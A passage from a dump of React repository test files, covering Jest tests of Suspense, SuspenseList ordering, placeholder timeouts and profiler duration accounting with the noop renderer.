      <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Generator />\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      React.startTransition(() => {\n        ReactNoop.render(<Foo />);\n      });\n    });\n    assertConsoleErrorDev([\n      'A generator Component was passed to a <SuspenseList revealOrder=\"forwards\" />. ' +\n        'This is not supported as a way to generate lists. Instead, pass an ' +\n        'iterable as the children.' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n      '<Generator> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in Foo (at **)',\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList && enableAsyncIterableChildren\n  it('can display async iterable in \"forwards\" order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n\n    // We use Cached elements to avoid rerender.\n    const ASlot = (\n      <Suspense key=\"A\" fallback={<Text text=\"Loading A\" />}>\n        <A />\n      </Suspense>\n    );\n\n    const BSlot = (\n      <Suspense key=\"B\" fallback={<Text text=\"Loading B\" />}>\n        <B />\n      </Suspense>\n    );\n\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        yield ASlot;\n        yield BSlot;\n      },\n    };\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          {iterable}\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      React.startTransition(() => {\n        ReactNoop.render(<Foo />);\n      });\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      'Loading A',\n      'Loading B',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n\n    assertConsoleErrorDev([\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in SuspenseList (at **)\\n' +\n        '    in Foo (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in SuspenseList (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await act(() => A.resolve());\n    assertLog(['A', 'Suspend! [B]', 'Suspend! [B]']);\n\n    assertConsoleErrorDev([\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in SuspenseList (at **)\\n' +\n        '    in Foo (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in SuspenseList (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B']);\n\n    assertConsoleErrorDev([\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in SuspenseList (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList && enableAsyncIterableChildren\n  it('warns if a nested async iterable is passed to a \"forwards\" list', async () => {\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          {items}\n          <div>Tail</div>\n        </SuspenseList>\n      );\n    }\n\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        yield (\n          <Suspense key={'A'} fallback=\"Loading\">\n            A\n          </Suspense>\n        );\n        yield (\n          <Suspense key={'B'} fallback=\"Loading\">\n            B\n          </Suspense>\n        );\n      },\n    };\n\n    await act(() => {\n      React.startTransition(() => {\n        ReactNoop.render(<Foo items={iterable} />);\n      });\n    });\n    assertConsoleErrorDev([\n      'A nested async iterable was passed to row #0 in <SuspenseList />. ' +\n        'Wrap it in an additional SuspenseList to configure its revealOrder: ' +\n        '<SuspenseList revealOrder=...> ... ' +\n        '<SuspenseList revealOrder=...>{async iterable}</SuspenseList> ... ' +\n        '</SuspenseList>' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspensePlaceholder-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\nlet Profiler;\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet ReactFeatureFlags;\nlet ReactCache;\nlet Suspense;\nlet TextResource;\nlet textResourceShouldFail;\nlet waitForAll;\nlet assertLog;\nlet act;\n\ndescribe('ReactSuspensePlaceholder', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n\n    ReactFeatureFlags.enableProfilerTimer = true;\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    ReactCache = require('react-cache');\n\n    Profiler = React.Profiler;\n    Suspense = React.Suspense;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    act = InternalTestUtils.act;\n\n    TextResource = ReactCache.unstable_createResource(\n      ([text, ms = 0]) => {\n        let listeners = null;\n        let status = 'pending';\n        let value = null;\n        return {\n          then(resolve, reject) {\n            switch (status) {\n              case 'pending': {\n                if (listeners === null) {\n                  listeners = [{resolve, reject}];\n                  setTimeout(() => {\n                    if (textResourceShouldFail) {\n                      Scheduler.log(`Promise rejected [${text}]`);\n                      status = 'rejected';\n                      value = new Error('Failed to load: ' + text);\n                      listeners.forEach(listener => listener.reject(value));\n                    } else {\n                      Scheduler.log(`Promise resolved [${text}]`);\n                      status = 'resolved';\n                      value = text;\n                      listeners.forEach(listener => listener.resolve(value));\n                    }\n                  }, ms);\n                } else {\n                  listeners.push({resolve, reject});\n                }\n                break;\n              }\n              case 'resolved': {\n                resolve(value);\n                break;\n              }\n              case 'rejected': {\n                reject(value);\n                break;\n              }\n            }\n          },\n        };\n      },\n      ([text, ms]) => text,\n    );\n    textResourceShouldFail = false;\n  });\n\n  function Text({fakeRenderDuration = 0, text = 'Text'}) {\n    Scheduler.unstable_advanceTime(fakeRenderDuration);\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({fakeRenderDuration = 0, ms, text}) {\n    Scheduler.unstable_advanceTime(fakeRenderDuration);\n    try {\n      TextResource.read([text, ms]);\n      Scheduler.log(text);\n      return text;\n    } catch (promise) {\n      if (typeof promise.then === 'function') {\n        Scheduler.log(`Suspend! [${text}]`);\n      } else {\n        Scheduler.log(`Error! [${text}]`);\n      }\n      throw promise;\n    }\n  }\n\n  it('times out children that are already hidden', async () => {\n    class HiddenText extends React.PureComponent {\n      render() {\n        const text = this.props.text;\n        Scheduler.log(text);\n        return <span hidden={true}>{text}</span>;\n      }\n    }\n\n    function App(props) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <HiddenText text=\"A\" />\n          <span>\n            <AsyncText ms={1000} text={props.middleText} />\n          </span>\n          <span>\n            <Text text=\"C\" />\n          </span>\n        </Suspense>\n      );\n    }\n\n    // Initial mount\n    ReactNoop.render(<App middleText=\"B\" />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading...',\n      // pre-warming\n      'A',\n      'Suspend! [B]',\n      'C',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [B]', 'A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n\n    // Update\n    ReactNoop.render(<App middleText=\"B2\" />);\n    await waitForAll([\n      'Suspend! [B2]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [B2]',\n      'C',\n    ]);\n\n    // Time out the update\n    jest.advanceTimersByTime(750);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span hidden={true}>B</span>\n        <span hidden={true}>C</span>\n        Loading...\n      </>,\n    );\n\n    // Resolve the promise\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [B2]', 'B2', 'C']);\n\n    // Render the final update. A should still be hidden, because it was\n    // given a `hidden` prop.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span>B2</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  it('times out text nodes', async () => {\n    function App(props) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"A\" />\n          <AsyncText ms={1000} text={props.middleText} />\n          <Text text=\"C\" />\n        </Suspense>\n      );\n    }\n\n    // Initial mount\n    ReactNoop.render(<App middleText=\"B\" />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading...',\n      // pre-warming\n      'A',\n      'Suspend! [B]',\n      'C',\n    ]);\n\n    expect(ReactNoop).not.toMatchRenderedOutput('ABC');\n\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [B]', 'A', 'B', 'C']);\n    expect(ReactNoop).toMatchRenderedOutput('ABC');\n\n    // Update\n    ReactNoop.render(<App middleText=\"B2\" />);\n    await waitForAll([\n      'A',\n      'Suspend! [B2]',\n      'Loading...',\n      // pre-warming\n      'A',\n      'Suspend! [B2]',\n      'C',\n    ]);\n    // Time out the update\n    jest.advanceTimersByTime(750);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n\n    // Resolve the promise\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [B2]', 'A', 'B2', 'C']);\n\n    // Render the final update. A should still be hidden, because it was\n    // given a `hidden` prop.\n    expect(ReactNoop).toMatchRenderedOutput('AB2C');\n  });\n\n  it('preserves host context for text nodes', async () => {\n    function App(props) {\n      return (\n        // uppercase is a special type that causes React Noop to render child\n        // text nodes as uppercase.\n        <uppercase>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Text text=\"a\" />\n            <AsyncText ms={1000} text={props.middleText} />\n            <Text text=\"c\" />\n          </Suspense>\n        </uppercase>\n      );\n    }\n\n    // Initial mount\n    ReactNoop.render(<App middleText=\"b\" />);\n\n    await waitForAll([\n      'a',\n      'Suspend! [b]',\n      'Loading...',\n      // pre-warming\n      'a',\n      'Suspend! [b]',\n      'c',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(<uppercase>LOADING...</uppercase>);\n\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [b]', 'a', 'b', 'c']);\n    expect(ReactNoop).toMatchRenderedOutput(<uppercase>ABC</uppercase>);\n\n    // Update\n    ReactNoop.render(<App middleText=\"b2\" />);\n    await waitForAll([\n      'a',\n      'Suspend! [b2]',\n      'Loading...',\n      'a',\n      'Suspend! [b2]',\n      'c',\n    ]);\n    // Time out the update\n    jest.advanceTimersByTime(750);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<uppercase>LOADING...</uppercase>);\n\n    // Resolve the promise\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [b2]', 'a', 'b2', 'c']);\n\n    // Render the final update. A should still be hidden, because it was\n    // given a `hidden` prop.\n    expect(ReactNoop).toMatchRenderedOutput(<uppercase>AB2C</uppercase>);\n  });\n\n  describe('profiler durations', () => {\n    let App;\n    let onRender;\n\n    beforeEach(() => {\n      // Order of parameters: id, phase, actualDuration, treeBaseDuration\n      onRender = jest.fn();\n\n      const Fallback = () => {\n        Scheduler.log('Fallback');\n        Scheduler.unstable_advanceTime(10);\n        return 'Loading...';\n      };\n\n      const Suspending = () => {\n        Scheduler.log('Suspending');\n        Scheduler.unstable_advanceTime(2);\n        return <AsyncText ms={1000} text=\"Loaded\" fakeRenderDuration={1} />;\n      };\n\n      App = ({shouldSuspend, text = 'Text', textRenderDuration = 5}) => {\n        Scheduler.log('App');\n        return (\n          <Profiler id=\"root\" onRender={onRender}>\n            <Suspense fallback={<Fallback />}>\n              {shouldSuspend && <Suspending />}\n              <Text fakeRenderDuration={textRenderDuration} text={text} />\n            </Suspense>\n          </Profiler>\n        );\n      };\n    });\n\n    describe('when suspending during mount', () => {\n      // @gate !disableLegacyMode && !disableLegacyMode\n      it('properly accounts for base durations when a suspended times out in a legacy tree', async () => {\n        ReactNoop.renderLegacySyncRoot(<App shouldSuspend={true} />);\n        assertLog([\n          'App',\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Text',\n          'Fallback',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput('Loading...');\n        expect(onRender).toHaveBeenCalledTimes(1);\n\n        // Initial mount only shows the \"Loading...\" Fallback.\n        // The treeBaseDuration then should be 10ms spent rendering Fallback,\n        // but the actualDuration should also include the 8ms spent rendering the hidden tree.\n        expect(onRender.mock.calls[0][2]).toBe(18);\n        expect(onRender.mock.calls[0][3]).toBe(10);\n\n        jest.advanceTimersByTime(1000);\n\n        assertLog(['Promise resolved [Loaded]']);\n\n        ReactNoop.flushSync();\n\n        assertLog(['Loaded']);\n        expect(ReactNoop).toMatchRenderedOutput('LoadedText');\n        expect(onRender).toHaveBeenCalledTimes(2);\n\n        // When the suspending data is resolved and our final UI is rendered,\n        // the baseDuration should only include the 1ms re-rendering AsyncText,\n        // but the treeBaseDuration should include the full 8ms spent in the tree.\n        expect(onRender.mock.calls[1][2]).toBe(1);\n        expect(onRender.mock.calls[1][3]).toBe(8);\n      });\n\n      it('properly accounts for base durations when a suspended times out in a concurrent tree', async () => {\n        ReactNoop.render(<App shouldSuspend={true} />);\n\n        await waitForAll([\n          'App',\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Fallback',\n          // pre-warming\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Text',\n        ]);\n        // Since this is initial render we immediately commit the fallback. Another test below\n        // deals with the update case where this suspends.\n        expect(ReactNoop).toMatchRenderedOutput('Loading...');\n        expect(onRender).toHaveBeenCalledTimes(\n          gate('alwaysThrottleRetries') ? 1 : 2,\n        );\n\n        // Initial mount only shows the \"Loading...\" Fallback.\n        // The treeBaseDuration then should be 10ms spent rendering Fallback,\n        // but the actualDuration should also include the 3ms spent rendering the hidden tree.\n        expect(onRender.mock.calls[0][2]).toBe(13);\n        expect(onRender.mock.calls[0][3]).toBe(10);\n\n        // Resolve the pending promise.\n        await act(() => jest.advanceTimersByTime(1000));\n        assertLog([\n          'Promise resolved [Loaded]',\n          'Suspending',\n          'Loaded',\n          'Text',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput('LoadedText');\n\n        expect(onRender).toHaveBeenCalledTimes(3);\n\n        // When the suspending data is resolved and our final UI is rendered,\n        // both times should include the 8ms re-rendering Suspending and AsyncText.\n        expect(onRender.mock.calls[2][2]).toBe(8);\n        expect(onRender.mock.calls[2][3]).toBe(8);\n      });\n    });\n\n    describe('when suspending during update', () => {\n      // @gate !disableLegacyMode && !disableLegacyMode\n      it('properly accounts for base durations when a suspended times out in a legacy tree', async () => {\n        ReactNoop.renderLegacySyncRoot(\n          <App shouldSuspend={false} textRenderDuration={5} />,\n        );\n        assertLog(['App', 'Text']);\n        expect(ReactNoop).toMatchRenderedOutput('Text');\n        expect(onRender).toHaveBeenCalledTimes(1);\n\n        // Initial mount only shows the \"Text\" text.\n        // It should take 5ms to render.\n        expect(onRender.mock.calls[0][2]).toBe(5);\n        expect(onRender.mock.calls[0][3]).toBe(5);\n\n        ReactNoop.render(<App shouldSuspend={true} textRenderDuration={5} />);\n        assertLog([\n          'App',\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Text',\n          'Fallback',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput('Loading...');\n        expect(onRender).toHaveBeenCalledTimes(2);\n\n        // The suspense update should only show the \"Loading...\" Fallback.\n        // The actual duration should include 10ms spent rendering Fallback,\n        // plus the 8ms render all of the hidden, suspended subtree.\n        // But the tree base duration should only include 10ms spent rendering Fallback,\n        expect(onRender.mock.calls[1][2]).toBe(18);\n        expect(onRender.mock.calls[1][3]).toBe(10);\n\n        ReactNoop.renderLegacySyncRoot(\n          <App shouldSuspend={true} text=\"New\" textRenderDuration={6} />,\n        );\n        assertLog([\n          'App',\n          'Suspending',\n          'Suspend! [Loaded]',\n          'New',\n          'Fallback',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput('Loading...');\n        expect(onRender).toHaveBeenCalledTimes(3);\n\n        expect(onRender.mock.calls[1][2]).toBe(18);\n        expect(onRender.mock.calls[1][3]).toBe(10);\n        jest.advanceTimersByTime(1000);\n\n        assertLog(['Promise resolved [Loaded]']);\n\n        ReactNoop.flushSync();\n\n        assertLog(['Loaded']);\n        expect(ReactNoop).toMatchRenderedOutput('LoadedNew');\n        expect(onRender).toHaveBeenCalledTimes(4);\n\n        // When the suspending data is resolved and our final UI is rendered,\n        // the baseDuration should only include the 1ms re-rendering AsyncText,\n        // but the treeBaseDuration should include the full 9ms spent in the tree.\n        expect(onRender.mock.calls[3][2]).toBe(1);\n        expect(onRender.mock.calls[3][3]).toBe(9);\n      });\n\n      it('properly accounts for base durations when a suspended times out in a concurrent tree', async () => {\n        const Fallback = () => {\n          Scheduler.log('Fallback');\n          Scheduler.unstable_advanceTime(10);\n          return 'Loading...';\n        };\n\n        const Suspending = () => {\n          Scheduler.log('Suspending');\n          Scheduler.unstable_advanceTime(2);\n          return <AsyncText ms={1000} text=\"Loaded\" fakeRenderDuration={1} />;\n        };\n\n        App = ({shouldSuspend, text = 'Text', textRenderDuration = 5}) => {\n          Scheduler.log('App');\n          return (\n            <Profiler id=\"root\" onRender={onRender}>\n              <Suspense fallback={<Fallback />}>\n                {shouldSuspend && <Suspending />}\n                <Text fakeRenderDuration={textRenderDuration} text={text} />\n              </Suspense>\n            </Profiler>\n          );\n        };\n\n        ReactNoop.render(\n          <>\n            <App shouldSuspend={false} textRenderDuration={5} />\n            <Suspense fallback={null} />\n          </>,\n        );\n\n        await waitForAll(['App', 'Text']);\n        expect(ReactNoop).toMatchRenderedOutput('Text');\n        expect(onRender).toHaveBeenCalledTimes(1);\n\n        // Initial mount only shows the \"Text\" text.\n        // It should take 5ms to render.\n        expect(onRender.mock.calls[0][2]).toBe(5);\n        expect(onRender.mock.calls[0][3]).toBe(5);\n\n        ReactNoop.render(\n          <>\n            <App shouldSuspend={true} textRenderDuration={5} />\n            <Suspense fallback={null} />\n          </>,\n        );\n        await waitForAll([\n          'App',\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Fallback',\n          // pre-warming\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Text',\n        ]);\n        // Show the fallback UI.\n        expect(ReactNoop).toMatchRenderedOutput('Loading...');\n        expect(onRender).toHaveBeenCalledTimes(\n          gate('alwaysThrottleRetries') ? 2 : 3,\n        );\n\n        jest.advanceTimersByTime(900);\n\n        // The suspense update should only show the \"Loading...\" Fallback.\n        // The actual duration should include 10ms spent rendering Fallback,\n        // plus the 3ms render all of the partially rendered suspended subtree.\n        // But the tree base duration should only include 10ms spent rendering Fallback.\n        expect(onRender.mock.calls[1][2]).toBe(13);\n        expect(onRender.mock.calls[1][3]).toBe(10);\n\n        // Update again while timed out.\n        // Since this test was originally written we added an optimization to avoid\n        // suspending in the case that we already timed out. To simulate the old\n        // behavior, we add a different suspending boundary as a sibling.\n        ReactNoop.render(\n          <>\n            <App shouldSuspend={true} text=\"New\" textRenderDuration={6} />\n            <Suspense fallback={null}>\n              <AsyncText ms={100} text=\"Sibling\" fakeRenderDuration={1} />\n            </Suspense>\n          </>,\n        );\n\n        // TODO: This is here only to shift us into the next JND bucket. A\n        // consequence of AsyncText relying on the same timer queue as React's\n        // internal Suspense timer. We should decouple our AsyncText helpers\n        // from timers.\n        Scheduler.unstable_advanceTime(200);\n\n        await waitForAll([\n          'App',\n          'Suspending',\n          'Suspend! [Loaded]',\n          'Fallback',\n          'Suspend! [Sibling]',\n          // pre-warming\n          'Suspending',\n          'Suspend! [Loaded]',\n          'New',\n          'Suspend! [Sibling]',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput('Loading...');\n\n        expect(onRender).toHaveBeenCalledTimes(\n          gate('alwaysThrottleRetries') ? 4 : 5,\n        );\n\n        // Resolve the pending promise.\n        await act(async () => {\n          jest.advanceTimersByTime(100);\n          assertLog([\n            'Promise resolved [Loaded]',\n            'Promise resolved [Sibling]',\n          ]);\n          await waitForAll(['Suspending', 'Loaded', 'New', 'Sibling']);\n        });\n\n        expect(onRender).toHaveBeenCalledTimes(\n          gate('alwaysThrottleRetries') ? 5 : 6,\n        );\n\n        // When the suspending data is resolved and our final UI is rendered,\n        // both times should include the 6ms rendering Text,\n        // the 2ms rendering Suspending, and the 1ms rendering AsyncText.\n        expect(onRender.mock.calls[4][2]).toBe(9);\n        expect(onRender.mock.calls[4][3]).toBe(\n          gate('alwaysThrottleRetries') ? 9 : 10,\n        );\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseWithNoopRenderer-test.js",
    "content": "let React;\nlet Fragment;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet waitFor;\nlet waitForAll;\nlet waitForMicrotasks;\nlet assertLog;\nlet waitForPaint;\nlet Suspense;\nlet startTransition;\nlet getCacheForType;\n\nlet caches;\nlet seededCache;\n\ndescribe('ReactSuspenseWithNoopRenderer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    Fragment = React.Fragment;\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    waitForMicrotasks = InternalTestUtils.waitForMicrotasks;\n    assertLog = InternalTestUtils.assertLog;\n\n    getCacheForType = React.unstable_getCacheForType;\n\n    caches = [];\n    seededCache = null;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return <span prop={text} />;\n  }\n\n  function AsyncText({text, showVersion}) {\n    const version = readText(text);\n    const fullText = showVersion ? `${text} [v${version}]` : text;\n    Scheduler.log(fullText);\n    return <span prop={fullText} />;\n  }\n\n  function seedNextTextCache(text) {\n    if (seededCache === null) {\n      seededCache = createTextCache();\n    }\n    seededCache.resolve(text);\n  }\n\n  function resolveMostRecentTextCache(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  const resolveText = resolveMostRecentTextCache;\n\n  function rejectMostRecentTextCache(text, error) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].reject(text, error)`.\n      caches[caches.length - 1].reject(text, error);\n    }\n  }\n\n  const rejectText = rejectMostRecentTextCache;\n\n  function advanceTimers(ms) {\n    // Note: This advances Jest's virtual time but not React's. Use\n    // ReactNoop.expire for that.\n    if (typeof ms !== 'number') {\n      throw new Error('Must specify ms');\n    }\n    jest.advanceTimersByTime(ms);\n    // Wait until the end of the current tick\n    // We cannot use a timer since we're faking them\n    return Promise.resolve().then(() => {});\n  }\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  // @gate enableLegacyCache\n  it(\"does not restart if there's a ping during initial render\", async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return props.children;\n    }\n\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Bar>\n              <AsyncText text=\"A\" />\n              <Text text=\"B\" />\n            </Bar>\n          </Suspense>\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </>\n      );\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo />);\n    });\n    await waitFor([\n      'Foo',\n      'Bar',\n      // A suspends\n      'Suspend! [A]',\n      // We immediately unwind and switch to a fallback without\n      // rendering siblings.\n      'Loading...',\n      'C',\n      // Yield before rendering D\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Flush the promise completely\n    await act(async () => {\n      await resolveText('A');\n      // Even though the promise has resolved, we should now flush\n      // and commit the in progress render instead of restarting.\n      await waitForPaint(['D']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Loading...\" />\n          <span prop=\"C\" />\n          <span prop=\"D\" />\n        </>,\n      );\n      // Next, we'll flush the complete content.\n      await waitForAll(['Bar', 'A', 'B']);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n        <span prop=\"C\" />\n        <span prop=\"D\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('suspends rendering and continues later', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return props.children;\n    }\n\n    function Foo({renderBar}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {renderBar ? (\n            <Bar>\n              <AsyncText text=\"A\" />\n              <Text text=\"B\" />\n            </Bar>\n          ) : null}\n        </Suspense>\n      );\n    }\n\n    // Render empty shell.\n    ReactNoop.render(<Foo />);\n    await waitForAll(['Foo']);\n\n    // The update will suspend.\n    React.startTransition(() => {\n      ReactNoop.render(<Foo renderBar={true} />);\n    });\n    await waitForAll([\n      'Foo',\n      'Bar',\n      // A suspends\n      'Suspend! [A]',\n\n      // pre-warming\n      'B',\n      // end pre-warming\n\n      // We immediately unwind and switch to a fallback without\n      // rendering siblings.\n      'Loading...',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Resolve the data\n    await resolveText('A');\n    // Renders successfully\n    await waitForAll(['Foo', 'Bar', 'A', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('suspends siblings and later recovers each independently', async () => {\n    // Render two sibling Suspense components\n    ReactNoop.render(\n      <Fragment>\n        <Suspense fallback={<Text text=\"Loading A...\" />}>\n          <AsyncText text=\"A\" />\n        